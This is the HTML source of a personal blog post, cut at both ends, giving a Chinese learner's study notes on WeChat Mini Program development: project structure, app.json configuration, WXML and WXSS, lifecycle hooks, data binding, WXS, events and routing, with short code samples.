+text元素是表示行内文本，和span类似"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"微信小程序学习笔记","item":"https://chenjunlinabc.github.io/posts/48/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"微信小程序学习笔记","name":"微信小程序学习笔记","description":"小程序实质上就是一个基于web基础的应用程序（网页）（但是不支持浏览器的api，小程序的api全部由微信提供，高度依赖微信，因此只能在微信中运行）\n微信之父张小龙是这样描述小程序的：\n小程序是一种不需要下载安装就可以使用的应用，它实现了应用触手可及的梦想。\n用户扫一扫或者搜一下即可打开应用，也体现了用完即走的理念。\n用户不用关心是否安装太多应用的问题，应用将无处不在，随时可用，但又无需安装卸载\n微信小程序的接口服务器要求进行ICP备案，并且经过审核，才能发布小程序\n微信小程序开发文档\nhttps://developers.weixin.qq.com/miniprogram/dev/framework/\n开发工具：微信开发者工具\n小程序的宿主环境\n在iOS中，使用JavaScriptCore，在Android中使用X5内核，在ide中使用nwjs\n小程序的运行机制（冷启动，热启动）\n小程序在后台中停留一段时间后，被微信销毁，再打开时需要重新加载该小程序的资源，也就是冷启动，而在没被销毁的时间段内，再打开该小程序，是不需要重新加载资源，是热启动\n小程序发布更新时，会异步加载新资源，也会导致冷启动\n小程序产品需求\n发现真实需要\n用户深度访谈，分析竞品，付费意愿\n需求分期：最小化可行产品（MVP）\n不是每个功能都要开发（优先开发最重要和最紧急的功能）\n优化开发顺序，先开发基础可用，然后迭代更新功能，满足用户需求，功能文档\n根据用户体验来优化服务\n原型制作工具：墨刀，Axure\n微信小程序结构\nindex.wxml页面结构\nindex.wxss页面样式\nindex.js页面逻辑\n如果设置了单独的页面样式，那么会覆盖掉app.wxss的样式\napp.json定义了页面和基本配置，采用json格式，必须包含pages属性，说明小程序有哪些页面\napp.json文件结构\npages是用来定义页面的，是一个数组，每一个项都是代表一个页面，例如：\n\u0026quot;pages\u0026quot;:[ \u0026quot;pages/index/index\u0026quot;, \u0026quot;pages/demo/demo\u0026quot; ], window属性是设置小程序的窗口样式，例如：\n\u0026quot;window\u0026quot;:{ \u0026quot;backgroundTextStyle\u0026quot;:\u0026quot;light\u0026quot;, \u0026quot;navigationBarBackgroundColor\u0026quot;: \u0026quot;#fff\u0026quot;, // 导航栏背景颜色 \u0026quot;navigationBarTitleText\u0026quot;: \u0026quot;Weixin\u0026quot;, // 导航栏文本 \u0026quot;navigationBarTextStyle\u0026quot;:\u0026quot;black\u0026quot; // 导航栏文本颜色 }, 从上面可以看出是一个三层结构，页面是放在pages目录下的，而demo和index都是代表这个页面叫什么\ndemo.js，Page()是小程序提供的一个函数，用来初始化页面，参数是一个对象，用来配置当前页面的属性\ndemo.wxml，该文件是用来描述页面的，和html类似\npages文件夹：存放小程序页面，每个页面代表为一个文件夹，文件夹名称为页面名称，在这个页面文件夹下的全部文件都是描述这个页面的\nutils文件夹：用于存放公共的js程序，便于不同的页面进行调用\nimgages文件夹：为方便管理小程序的用到的全部静态图片\napp.js：当前项目的js（全局数据和反应）\njson：全局配置\nwxss：全局样式\nproject.config.json：项目配置文件，配置微信开发者工具，例如工具的页面颜色，编译配置等等个性化配置\npage.json: 单独定义每个页面的一些属性，例如：顶部颜色，是否可以下拉刷新等等\napp.json：这是一种数据格式，小程序的静态配置（全局配置），页面的路径，界面的表现，顶部样式，网络超时等等\npages字段：描述当前小程序所有页面的路径，让微信清楚小程序页面定义在哪个目录\nwindow字段：定义小程序所有页面的顶部背景颜色，文字颜色等等\njson是包裹在一个括号中，以键值对的方式表达数据，值必须包含在双引号中，在json中无法使用注释\nwxml\nWXML：从html中衍生而来一种专门在小程序页面中使用的语言，组合了基础组件，事件系统，构造出页面的结构\nview元素是表示块级，和div类似\nscroll-view元素是表示可滚动页面区域\ntext元素是表示行内文本，和span类似","keywords":["微信小程序"],"articleBody":"小程序实质上就是一个基于web基础的应用程序（网页）（但是不支持浏览器的api，小程序的api全部由微信提供，高度依赖微信，因此只能在微信中运行）\n微信之父张小龙是这样描述小程序的：\n小程序是一种不需要下载安装就可以使用的应用，它实现了应用触手可及的梦想。\n用户扫一扫或者搜一下即可打开应用，也体现了用完即走的理念。\n用户不用关心是否安装太多应用的问题，应用将无处不在，随时可用，但又无需安装卸载\n微信小程序的接口服务器要求进行ICP备案，并且经过审核，才能发布小程序\n微信小程序开发文档\nhttps://developers.weixin.qq.com/miniprogram/dev/framework/\n开发工具：微信开发者工具\n小程序的宿主环境\n在iOS中，使用JavaScriptCore，在Android中使用X5内核，在ide中使用nwjs\n小程序的运行机制（冷启动，热启动）\n小程序在后台中停留一段时间后，被微信销毁，再打开时需要重新加载该小程序的资源，也就是冷启动，而在没被销毁的时间段内，再打开该小程序，是不需要重新加载资源，是热启动\n小程序发布更新时，会异步加载新资源，也会导致冷启动\n小程序产品需求\n发现真实需要\n用户深度访谈，分析竞品，付费意愿\n需求分期：最小化可行产品（MVP）\n不是每个功能都要开发（优先开发最重要和最紧急的功能）\n优化开发顺序，先开发基础可用，然后迭代更新功能，满足用户需求，功能文档\n根据用户体验来优化服务\n原型制作工具：墨刀，Axure\n微信小程序结构\nindex.wxml页面结构\nindex.wxss页面样式\nindex.js页面逻辑\n如果设置了单独的页面样式，那么会覆盖掉app.wxss的样式\napp.json定义了页面和基本配置，采用json格式，必须包含pages属性，说明小程序有哪些页面\napp.json文件结构\npages是用来定义页面的，是一个数组，每一个项都是代表一个页面，例如：\n\"pages\":[ \"pages/index/index\", \"pages/demo/demo\" ], window属性是设置小程序的窗口样式，例如：\n\"window\":{ \"backgroundTextStyle\":\"light\", \"navigationBarBackgroundColor\": \"#fff\", // 导航栏背景颜色 \"navigationBarTitleText\": \"Weixin\", // 导航栏文本 \"navigationBarTextStyle\":\"black\" // 导航栏文本颜色 }, 从上面可以看出是一个三层结构，页面是放在pages目录下的，而demo和index都是代表这个页面叫什么\ndemo.js，Page()是小程序提供的一个函数，用来初始化页面，参数是一个对象，用来配置当前页面的属性\ndemo.wxml，该文件是用来描述页面的，和html类似\npages文件夹：存放小程序页面，每个页面代表为一个文件夹，文件夹名称为页面名称，在这个页面文件夹下的全部文件都是描述这个页面的\nutils文件夹：用于存放公共的js程序，便于不同的页面进行调用\nimgages文件夹：为方便管理小程序的用到的全部静态图片\napp.js：当前项目的js（全局数据和反应）\njson：全局配置\nwxss：全局样式\nproject.config.json：项目配置文件，配置微信开发者工具，例如工具的页面颜色，编译配置等等个性化配置\npage.json: 单独定义每个页面的一些属性，例如：顶部颜色，是否可以下拉刷新等等\napp.json：这是一种数据格式，小程序的静态配置（全局配置），页面的路径，界面的表现，顶部样式，网络超时等等\npages字段：描述当前小程序所有页面的路径，让微信清楚小程序页面定义在哪个目录\nwindow字段：定义小程序所有页面的顶部背景颜色，文字颜色等等\njson是包裹在一个括号中，以键值对的方式表达数据，值必须包含在双引号中，在json中无法使用注释\nwxml\nWXML：从html中衍生而来一种专门在小程序页面中使用的语言，组合了基础组件，事件系统，构造出页面的结构\nview元素是表示块级，和div类似\nscroll-view元素是表示可滚动页面区域\ntext元素是表示行内文本，和span类似\nimage元素是表示图片，和img类似\nswiper元素是用来搞轮播图\n属性\nbindtap属性可绑定事件函数\nhidden属性控制元素是否隐藏，true为隐藏\nwxss样式，采用css样式语法，和写普通的css样式一样，选择器属性样式之类的就不写了，具备css大部分的特性，具体看我写的css笔记，背景，字体，边框，定位，大小之类的，用法是一样的，可以给wxml标签设置class，采用的是W3C标准盒模型，另外小程序官方推荐使用flex布局\n推荐静态样式写入class中，style用来接收动态的样式，避免出样式优先级问题，例如：\nAlt+shift+f：自动格式化代码\n注意：微信小程序的基本单位是rpx，而不是px，不管是什么页面（无论多大或者多小），页面100%就是750rpx，因此页面的1%等于7.5rpx\n另外微信官方提供了一套UI框架，https://weui.io/，github库地址：https://github.com/Tencent/weui-wxss/\n用法，直接引用weui.wxss，然后像用bootstrap一样，给标签加类\n例子：\nhallo wrod Page({ data: { color: '#ccc' } }) WXSS选择器支持.class，#id，组件选择（例如view，选择全部view组件），::after（view::after，在view组件后插入内容），::before（view::before，在view组件前面插入内容）\n项目目录结构\napp.js：必需，小程序的逻辑所在\napp.json：必需，小程序的公共配置\napp.wxss：不必需，小程序的公共样式\n页面组成\njs：必需，页面逻辑\nwxml：必需，页面结构\njson：不必需，页面的配置\nwxss：不必需，页面的样式\n小程序支持的文件：\nwxs，png，jpg，jpeg，gif，svg，json，cer，mp3，aac，m4a，mp4，wav，ogg，silk，wasm，br\n全局配置：app.json是用于小程序进行的全局配置，决定页面文件路径，窗口表现，网络超时等等\npages配置：定义页面的路径，优先显示第一个设置的页面\nwindow配置：定义所有页面的顶部样式\ntabBar配置：底部tab栏的表现\n页面配置：每个页面都可以使用.json来配置当前页面的窗口表现，注意：会覆盖掉app.json相同的配置项\nstiemap配置：通过配置sitemap.json或者后台页面收录开关来确定小程序页面是否允许被微信索引，当被允许时，微信会通过爬虫的形式，对小程序的页面内容进行索引\n生命周期\n应用生命周期\nonLaunch：小程序初始化，当页面第一次加载时触发，跳转页面返回不触发\nonShow：小程序显示（前台），当页面显示或者从后台返回小程序显示该页面时触发，从跳转页面返回时触发\nonError：小程序页面异常触发\nonPageNotFound：页面不存在\n页面生命周期\nonLoad：页面加载触发\nonShow：页面显示触发\nonReady：页面初次渲染完成触发\nonHide：页面隐藏触发\nonUnload：小程序页面卸载，例如： 重定向一个页面，原页面被关闭\nonPullDownRefresh：用户下拉触发\nonReachBottom：页面上拉触底触发\nonPageScroll：页面被滚动触发\nonResize：页面尺寸发生改变时输出\n小程序组件生命周期\ncreated：当组件实例被初始化时触发该生命周期钩子（在该钩子触发时，并不能使用setData，this.data等于Component.data）\nattached：当组件实例初始化完毕，进入页面节点树后触发该生命周期钩子（this.data被初始化为组件的当前值）\nready：当组件实例在视图层布局完成后触发该生命周期钩子\nmoved：当组件实例被移动到节点树另一个位置时触发该生命周期钩子\ndetached：当组件实例被销毁时触发该生命周期钩子（退出当前组件的页面树，也会触发该生命周期钩子）\nerror：当组件方法抛出错误时触发该生命周期钩子\nWXML，数据绑定，列表渲染，条件渲染，模板引用\n数据绑定和vue类似，不过小程序的数据绑定是单向的\nindex.wxml\n{{message}} index.js\nPage({ data: { message: 'hallo word' } }) 属性绑定\nindex.wxml\nindex.js\nPage({ data: { message: 'hallo word' } }) 列表渲染\n{{index}}:{{abc}} Page({ data: { arrs: [1,2,3,4,5] } }) 条件渲染\nTrue hallo wrod Page({ data: { hallo: true, abc: 2 } } 允许使用wx:if，wx:elif和wx:else使用\nwx:if是控制属性，可以判断组件是否是否显示，多个组件使用block元素包裹\nvx:if和hidden组件的区别，hidden是通过hidden属性隐藏，vx:if是通过局部重新渲染的方式，直接将该组件移除出该DOM\nWXML的共同属性，id，class，style，hidden，data-，bind/catch*\n模板引用\ndata.wxml\nid: {{id}} name: {{name}} age: {{age}} index.wxml index.js\nPage({ data: { dataitem: { id: 1, name: chenjunlin, age: 20 } } }) 注意：import模板时，是存在作用域的，只能import该模板的内容，如果这个wxml文件内有其他内容是不会被渲染到页面的，避免模板引用死循环\n而使用include组件引用的话，是直接目标整个引入进来，这个时候引用模板和直接在声明模板的文件使用是一样的，就好像include组件将目标整个复制进来一样\nWXS\nWXS是小程序的脚本语言，搭配WXML使用，WXS不依赖于小程序的运行时基本库版本，和JavaScript环境隔离，WXS不能调用js文件定义的，也不能使用小程序提供的api，WXS函数不能作为事件回调函数\nvar abc = 'hallo word' module.exports = { xyz: abc } module.exports.value = 100 {{hhh.xyz}} {{hhh.value}} 小程序事件\n事件是视图层到逻辑层的通讯方式，监听用户的行为，通过事件的方式反映到逻辑层进行处理\n点击事件（tap），长按事件（longpress），触摸事件（例如：开始触摸（touchstart），结束触摸（touchend），终止触摸（touchcancel））等等\n事件（视图层到逻辑层的通信）\nhallo word Page({ taptest(event) { console.log(event) } }) 事件处理机制：事件捕获，事件处理，事件冒泡\n路由\n打开新页面通过调用wx.navigateTo API或者使用组件\n页面重东西通过调用wx.redirectTo API或者使用组件\n页面返回通过调用wx.navigateBack API或者使用组件\ntab切换通过调用wx.switchTab API或者使用组件\n重启动通过调用wx.reLaunch API或者使用组件\nMINA(MINA IS NOT APP) 是微信开发小程序的框架\nMINA框架由视图层（小程序的page页面），逻辑层，系统层（JSBridge，微信API，离线存储，网络请求等等）组成\n渲染会将WXML节点转换成js对象（AST节点树），更新数据时会进行diff差异处理\n小程序运行机制\n启动（冷启动（首次启动需要加载，生命周期为销毁时），热启动（无需加载））\n微信小程序提供2个线程来处理，分别是View Thread和AppService Thread，这2个线程同时进行加载（并行），View Thread加载完毕后，会通知AppService Thread，AppService Thread再将处理完毕的数据交付给View Thread\n微信小程序API\n网络请求，媒体处理，上传下载文件，数据缓存，位置信息，设备信息，路由控制\n微信开放功能：登录授权，微信支持，模板消息，转发分享，打开APP\nAPI一般有3个回调函数，success（api成功后），fail（api调用失败后），complete（api调用完成时，不管成功与否）\nApi官方文档：https://developers.weixin.qq.com/miniprogram/dev/api/\n","wordCount":"308","inLanguage":"en","datePublished":"2021-06-27T12:34:00Z","dateModified":"2021-06-27T12:34:00Z","author":{"@type":"Person","name":"Me"},"mainEntityOfPage":{"@type":"WebPage","@id":"https://chenjunlinabc.github.io/posts/48/"},"publisher":{"@type":"Organization","name":"小陈的个人博客","logo":{"@type":"ImageObject","url":"https://chenjunlinabc.github.io/favicon.ico"}}}</script></head><body id=top><script>localStorage.getItem("pref-theme")==="dark"?document.body.classList.add("dark"):localStorage.getItem("pref-theme")==="light"?document.body.classList.remove("dark"):window.matchMedia("(prefers-color-scheme: dark)").matches&&document.body.classList.add("dark")</script><header class=header><nav class=nav><div class=logo><a href=https://chenjunlinabc.github.io/ accesskey=h title="小陈的个人博客 (Alt + H)"><img src=https://chenjunlinabc.github.io/favicon.ico alt aria-label=logo height=35>小陈的个人博客</a><div class=logo-switches><button id=theme-toggle accesskey=t title="(Alt + T)"><svg id="moon" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M21 12.79A9 9 0 1111.21 3 7 7 0 0021 12.79z"/></svg><svg id="sun" xmlns="http://www.w3.org/2000/svg" width="24" height="18" viewBox="0 0 24 24" fill="none" stroke="currentcolor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="5"/><line x1="12" y1="1" x2="12" y2="3"/><line x1="12" y1="21" x2="12" y2="23"/><line x1="4.22" y1="4.22" x2="5.64" y2="5.64"/><line x1="18.36" y1="18.36" x2="19.78" y2="19.78"/><line x1="1" y1="12" x2="3" y2="12"/><line x1="21" y1="12" x2="23" y2="12"/><line x1="4.22" y1="19.78" x2="5.64" y2="18.36"/><line x1="18.36" y1="5.64" x2="19.78" y2="4.22"/></svg></button></div></div><ul id=menu><li><a href=https://chenjunlinabc.github.io/ title=首页><span>首页</span></a></li><li><a href=https://chenjunlinabc.github.io/categories/ title=分类><span>分类</span></a></li><li><a href=https://chenjunlinabc.github.io/archives/ title=归档><span>归档</span></a></li><li><a href=https://chenjunlinabc.github.io/tags/ title=标签><span>标签</span></a></li><li><a href=https://chenjunlinabc.github.io/links/ title=链接><span>链接</span></a></li><li><a href=https://chenjunlinabc.github.io/about/ title=关于><span>关于</span></a></li><li><a href=https://chenjunlinabc.github.io/search/ title="搜索 (Alt + /)" accesskey=/><span>搜索</span></a></li></ul></nav></header><main class=main><article class=post-single><header class=post-header><div class=breadcrumbs><a href=https://chenjunlinabc.github.io/>Home</a>&nbsp;»&nbsp;<a href=https://chenjunlinabc.github.io/posts/>Posts</a></div><h1 class=post-title>微信小程序学习笔记</h1><div class=post-meta><span title='2021-06-27 12:34:00 +0000 UTC'>2021-06-27</span>&nbsp;·&nbsp;2 min&nbsp;·&nbsp;Me&nbsp;|&nbsp;<a href=https://chenjunlinabc.github.io//posts/%e5%be%ae%e4%bf%a1%e5%b0%8f%e7%a8%8b%e5%ba%8f%e5%ad%a6%e4%b9%a0%e7%ac%94%e8%ae%b0.md rel="noopener noreferrer" target=_blank>Suggest Changes</a></div></header><div class=post-content><p>小程序实质上就是一个基于web基础的应用程序（网页）（但是不支持浏览器的api，小程序的api全部由微信提供，高度依赖微信，因此只能在微信中运行）</p><p>微信之父张小龙是这样描述小程序的：</p><p>小程序是一种不需要下载安装就可以使用的应用，它实现了应用触手可及的梦想。</p><p>用户扫一扫或者搜一下即可打开应用，也体现了用完即走的理念。</p><p>用户不用关心是否安装太多应用的问题，应用将无处不在，随时可用，但又无需安装卸载</p><p>微信小程序的接口服务器要求进行ICP备案，并且经过审核，才能发布小程序</p><p>微信小程序开发文档</p><p><a href=https://developers.weixin.qq.com/miniprogram/dev/framework/>https://developers.weixin.qq.com/miniprogram/dev/framework/</a></p><p>开发工具：微信开发者工具</p><p>小程序的宿主环境</p><p>在iOS中，使用JavaScriptCore，在Android中使用X5内核，在ide中使用nwjs</p><p>小程序的运行机制（冷启动，热启动）</p><p>小程序在后台中停留一段时间后，被微信销毁，再打开时需要重新加载该小程序的资源，也就是冷启动，而在没被销毁的时间段内，再打开该小程序，是不需要重新加载资源，是热启动</p><p>小程序发布更新时，会异步加载新资源，也会导致冷启动</p><hr><p>小程序产品需求</p><p>发现真实需要</p><p>用户深度访谈，分析竞品，付费意愿</p><p>需求分期：最小化可行产品（MVP）</p><p>不是每个功能都要开发（优先开发最重要和最紧急的功能）</p><p>优化开发顺序，先开发基础可用，然后迭代更新功能，满足用户需求，功能文档</p><p>根据用户体验来优化服务</p><p>原型制作工具：墨刀，Axure</p><hr><p>微信小程序结构</p><p>index.wxml页面结构</p><p>index.wxss页面样式</p><p>index.js页面逻辑</p><p>如果设置了单独的页面样式，那么会覆盖掉app.wxss的样式</p><p>app.json定义了页面和基本配置，采用json格式，必须包含pages属性，说明小程序有哪些页面</p><p>app.json文件结构</p><p>pages是用来定义页面的，是一个数组，每一个项都是代表一个页面，例如：</p><pre><code>&quot;pages&quot;:[
+    &quot;pages/index/index&quot;,
+    &quot;pages/demo/demo&quot;
+  ],
+</code></pre><p>window属性是设置小程序的窗口样式，例如：</p><pre><code>&quot;window&quot;:{
+    &quot;backgroundTextStyle&quot;:&quot;light&quot;,
+    &quot;navigationBarBackgroundColor&quot;: &quot;#fff&quot;,  // 导航栏背景颜色
+    &quot;navigationBarTitleText&quot;: &quot;Weixin&quot;,  // 导航栏文本
+    &quot;navigationBarTextStyle&quot;:&quot;black&quot;  // 导航栏文本颜色
+},
+</code></pre><p>从上面可以看出是一个三层结构，页面是放在pages目录下的，而demo和index都是代表这个页面叫什么</p><p>demo.js，Page()是小程序提供的一个函数，用来初始化页面，参数是一个对象，用来配置当前页面的属性</p><p>demo.wxml，该文件是用来描述页面的，和html类似</p><p>pages文件夹：存放小程序页面，每个页面代表为一个文件夹，文件夹名称为页面名称，在这个页面文件夹下的全部文件都是描述这个页面的</p><p>utils文件夹：用于存放公共的js程序，便于不同的页面进行调用</p><p>imgages文件夹：为方便管理小程序的用到的全部静态图片</p><p>app.js：当前项目的js（全局数据和反应）</p><p>json：全局配置</p><p>wxss：全局样式</p><p>project.config.json：项目配置文件，配置微信开发者工具，例如工具的页面颜色，编译配置等等个性化配置</p><p>page.json: 单独定义每个页面的一些属性，例如：顶部颜色，是否可以下拉刷新等等</p><hr><p>app.json：这是一种数据格式，小程序的静态配置（全局配置），页面的路径，界面的表现，顶部样式，网络超时等等</p><p>pages字段：描述当前小程序所有页面的路径，让微信清楚小程序页面定义在哪个目录</p><p>window字段：定义小程序所有页面的顶部背景颜色，文字颜色等等</p><p>json是包裹在一个括号中，以键值对的方式表达数据，值必须包含在双引号中，在json中无法使用注释</p><hr><p>wxml</p><p>WXML：从html中衍生而来一种专门在小程序页面中使用的语言，组合了基础组件，事件系统，构造出页面的结构</p><p>view元素是表示块级，和div类似</p><p>scroll-view元素是表示可滚动页面区域</p><p>text元素是表示行内文本，和span类似</p><p>image元素是表示图片，和img类似</p><p>swiper元素是用来搞轮播图</p><p>属性</p><p>&lt;view 属性=&ldquo;属性值&rdquo;></p><p>bindtap属性可绑定事件函数</p><p>hidden属性控制元素是否隐藏，true为隐藏</p><hr><p>wxss样式，采用css样式语法，和写普通的css样式一样，选择器属性样式之类的就不写了，具备css大部分的特性，具体看我写的css笔记，背景，字体，边框，定位，大小之类的，用法是一样的，可以给wxml标签设置class，采用的是W3C标准盒模型，另外小程序官方推荐使用flex布局</p><p>推荐静态样式写入class中，style用来接收动态的样式，避免出样式优先级问题，例如：</p><p></p><p>Alt+shift+f：自动格式化代码</p><p>注意：微信小程序的基本单位是rpx，而不是px，不管是什么页面（无论多大或者多小），页面100%就是750rpx，因此页面的1%等于7.5rpx</p><p>另外微信官方提供了一套UI框架，https://weui.io/，github库地址：https://github.com/Tencent/weui-wxss/</p><p>用法，直接引用weui.wxss，然后像用bootstrap一样，给标签加类</p><p>例子：</p><pre><code>&lt;view style=&quot;width:100rpx;height:100rpx;background-color:{{color}}&quot;&gt;hallo wrod&lt;/view&gt;
+
+
+Page({
+    data: {
+        color: '#ccc'
+    }
+})
+</code></pre><p>WXSS选择器支持.class，#id，组件选择（例如view，选择全部view组件），::after（view::after，在view组件后插入内容），::before（view::before，在view组件前面插入内容）</p><hr><p>项目目录结构</p><p>app.js：必需，小程序的逻辑所在</p><p>app.json：必需，小程序的公共配置</p><p>app.wxss：不必需，小程序的公共样式</p><hr><p>页面组成</p><p>js：必需，页面逻辑</p><p>wxml：必需，页面结构</p><p>json：不必需，页面的配置</p><p>wxss：不必需，页面的样式</p><p>小程序支持的文件：</p><p>wxs，png，jpg，jpeg，gif，svg，json，cer，mp3，aac，m4a，mp4，wav，ogg，silk，wasm，br</p><hr><p>全局配置：app.json是用于小程序进行的全局配置，决定页面文件路径，窗口表现，网络超时等等</p><p>pages配置：定义页面的路径，优先显示第一个设置的页面</p><p>window配置：定义所有页面的顶部样式</p><p>tabBar配置：底部tab栏的表现</p><p>页面配置：每个页面都可以使用.json来配置当前页面的窗口表现，注意：会覆盖掉app.json相同的配置项</p><p>stiemap配置：通过配置sitemap.json或者后台页面收录开关来确定小程序页面是否允许被微信索引，当被允许时，微信会通过爬虫的形式，对小程序的页面内容进行索引</p><p>生命周期</p><p>应用生命周期</p><p>onLaunch：小程序初始化，当页面第一次加载时触发，跳转页面返回不触发</p><p>onShow：小程序显示（前台），当页面显示或者从后台返回小程序显示该页面时触发，从跳转页面返回时触发</p><p>onError：小程序页面异常触发</p><p>onPageNotFound：页面不存在</p><p>页面生命周期</p><p>onLoad：页面加载触发</p><p>onShow：页面显示触发</p><p>onReady：页面初次渲染完成触发</p><p>onHide：页面隐藏触发</p><p>onUnload：小程序页面卸载，例如： 重定向一个页面，原页面被关闭</p><p>onPullDownRefresh：用户下拉触发</p><p>onReachBottom：页面上拉触底触发</p><p>onPageScroll：页面被滚动触发</p><p>onResize：页面尺寸发生改变时输出</p><hr><p>小程序组件生命周期</p><p>created：当组件实例被初始化时触发该生命周期钩子（在该钩子触发时，并不能使用setData，this.data等于Component.data）</p><p>attached：当组件实例初始化完毕，进入页面节点树后触发该生命周期钩子（this.data被初始化为组件的当前值）</p><p>ready：当组件实例在视图层布局完成后触发该生命周期钩子</p><p>moved：当组件实例被移动到节点树另一个位置时触发该生命周期钩子</p><p>detached：当组件实例被销毁时触发该生命周期钩子（退出当前组件的页面树，也会触发该生命周期钩子）</p><p>error：当组件方法抛出错误时触发该生命周期钩子</p><hr><p>WXML，数据绑定，列表渲染，条件渲染，模板引用</p><hr><p>数据绑定和vue类似，不过小程序的数据绑定是单向的</p><p>index.wxml</p><pre><code>&lt;view&gt; {{message}} &lt;/view&gt;
+</code></pre><p>index.js</p><pre><code>Page({
+    data: {
+        message: 'hallo word'
+     }
+})
+</code></pre><p>属性绑定</p><p>index.wxml</p><pre><code>&lt;view&gt;
+    &lt;text class='{message}'&gt;&lt;/text&gt;
+&lt;/view&gt;
+</code></pre><p>index.js</p><pre><code>Page({
+    data: {
+        message: 'hallo word'
+     }
+})
+</code></pre><p>列表渲染</p><pre><code>&lt;block wx:for=&quot;{{arrs}}&quot; wx:fot-item=&quot;abc&quot; ws:key=&quot;index&quot;&gt; 
+    &lt;view&gt;
+        {{index}}:{{abc}} 
+    &lt;/view&gt;
+&lt;/block&gt;
+
+Page({
+    data: {
+        arrs: [1,2,3,4,5]
+     }
+})
+</code></pre><p>条件渲染</p><pre><code>&lt;view wx:if=&quot;{{hallo}}&quot;&gt; True &lt;/view&gt;
+&lt;view wx:if=&quot;{{abc === 1}}&quot;&gt; hallo wrod &lt;/view&gt;
+
+Page({
+    data: {
+        hallo: true,
+        abc: 2
+     }
+}
+</code></pre><p>允许使用wx:if，wx:elif和wx:else使用</p><p>wx:if是控制属性，可以判断组件是否是否显示，多个组件使用block元素包裹</p><p>vx:if和hidden组件的区别，hidden是通过hidden属性隐藏，vx:if是通过局部重新渲染的方式，直接将该组件移除出该DOM</p><p>WXML的共同属性，id，class，style，hidden，data-<em>，bind</em>/catch*</p><p>模板引用</p><p>data.wxml</p><pre><code>&lt;template name='tempa'&gt;
+    &lt;view&gt;
+        id: {{id}}
+        name: {{name}}
+        age: {{age}}
+    &lt;/view&gt;
+&lt;/template&gt;
+</code></pre><p>index.wxml</p><p>index.js</p><pre><code>Page({
+    data: {
+        dataitem: {
+            id: 1,
+            name: chenjunlin,
+            age: 20
+        }
+    }
+})
+</code></pre><p>注意：import模板时，是存在作用域的，只能import该模板的内容，如果这个wxml文件内有其他内容是不会被渲染到页面的，避免模板引用死循环</p><p>而使用include组件引用的话，是直接目标整个引入进来，这个时候引用模板和直接在声明模板的文件使用是一样的，就好像include组件将目标整个复制进来一样</p><hr><p>WXS</p><p>WXS是小程序的脚本语言，搭配WXML使用，WXS不依赖于小程序的运行时基本库版本，和JavaScript环境隔离，WXS不能调用js文件定义的，也不能使用小程序提供的api，WXS函数不能作为事件回调函数</p><pre><code>&lt;wxs module='hhh'&gt;
+    var abc = 'hallo word'
+    module.exports = {
+        xyz: abc
+    }
+    module.exports.value = 100
+       
+&lt;/wxs&gt;
+&lt;view&gt;{{hhh.xyz}}&lt;/view&gt;
+&lt;view&gt;{{hhh.value}}&lt;/view&gt;
+</code></pre><hr><p>小程序事件</p><p>事件是视图层到逻辑层的通讯方式，监听用户的行为，通过事件的方式反映到逻辑层进行处理</p><p>点击事件（tap），长按事件（longpress），触摸事件（例如：开始触摸（touchstart），结束触摸（touchend），终止触摸（touchcancel））等等</p><p>事件（视图层到逻辑层的通信）</p><pre><code>&lt;view id='tap' bindtap='taptest'&gt; hallo word &lt;/view&gt;
+
+Page({
+    taptest(event) {
+        console.log(event)
+    }
+})
+</code></pre><p>事件处理机制：事件捕获，事件处理，事件冒泡</p><hr><p>路由</p><p>打开新页面通过调用wx.navigateTo API或者使用组件</p><p>页面重东西通过调用wx.redirectTo API或者使用组件</p><p>页面返回通过调用wx.navigateBack API或者使用组件</p><p>tab切换通过调用wx.switchTab API或者使用组件</p><p>重启动通过调用wx.reLaunch API或者使用组件</p><hr><p>MINA(MINA IS NOT APP) 是微信开发小程序的框架</p><p>MINA框架由视图层（小程序的page页面），逻辑层，系统层（JSBridge，微信API，离线存储，网络请求等等）组成</p><p>渲染会将WXML节点转换成js对象（AST节点树），更新数据时会进行diff差异处理</p><p>小程序运行机制</p><p>启动（冷启动（首次启动需要加载，生命周期为销毁时），热启动（无需加载））</p><p>微信小程序提供2个线程来处理，分别是View Thread和AppService Thread，这2个线程同时进行加载（并行），View Thread加载完毕后，会通知AppService Thread，AppService Thread再将处理完毕的数据交付给View Thread</p><hr><p>微信小程序API</p><p>网络请求，媒体处理，上传下载文件，数据缓存，位置信息，设备信息，路由控制</p><p>微信开放功能：登录授权，微信支持，模板消息，转发分享，打开APP</p><p>API一般有3个回调函数，success（api成功后），fail（api调用失败后），complete（api调用完成时，不管成功与否）</p><p>Api官方文档：https://developers.weixin.qq.com/miniprogram/dev/api/</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/%E5%BE%AE%E4%BF%A1%E5%B0%8F%E7%A8%8B%E5%BA%8F/>微信小程序</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/49/><span class=title>« Prev</span><br><span>数据结构与算法学习笔记</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/47/><span class=title>Next »</span><br><span>webpack学习笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: 